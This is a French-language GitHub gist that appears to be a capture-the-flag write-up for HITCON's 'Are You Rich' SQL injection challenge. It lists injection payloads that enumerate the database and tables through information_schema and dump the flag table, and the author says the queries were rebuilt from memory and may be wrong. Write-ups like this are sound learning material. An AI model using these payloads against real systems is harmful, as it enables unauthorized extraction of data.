Skip to content

Instantly share code, notes, and snippets.

@masterT

masterT/solution.md

Last active February 2, 2017 01:05
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save masterT/b9d833164e72032a61a12ce9f53c026b to your computer and use it in GitHub Desktop.
Save masterT/b9d833164e72032a61a12ce9f53c026b to your computer and use it in GitHub Desktop.
Download ZIP
Solution pour la SQLi Are You Rich (HITCON CTF)
Raw
solution.md

52.197.140.254/are_you_rich/verify.php (maintenant indisponible)

En premier il fallait trouver que le chmap était injectable.

Avec des requêtes du genre:

blahblahblahblah' OR 1 = 1 --

On va chercher les information de la base de données.

' UNION ALL SELECT database() LIMIT 1 --

On obtenait: areyourich.

Puis on va chercher les information des tables.

' UNION ALL SELECT COUNT(*) FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'areyourich' LIMIT 1 --

On obtenait: 2.

' UNION ALL SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'areyourich' LIMIT 1 OFFSET 0 --

On obtenait: issued_address.

' UNION ALL SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = 'areyourich' LIMIT 1 OFFSET 1 --

On obtenait: flag1.

Finalement récupérer le flag!

' UNION ALL SELECT * FROM flag1 LIMIT 1 --

On obtenait: hitcon{4r3_y0u_r1ch?ju57_buy_7h3_fl4g!!}.

🔥 🚩

@masterT
Copy link
Author

masterT commented Oct 10, 2016

Il me semble que c'était ça les requêtes SQL à faire, mais j'ai peux-être fait des erreurs ; le site était déjà indisponible lorsque je les ai écrites.

N'hésitez pas à suggérer des modifications. 😄

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment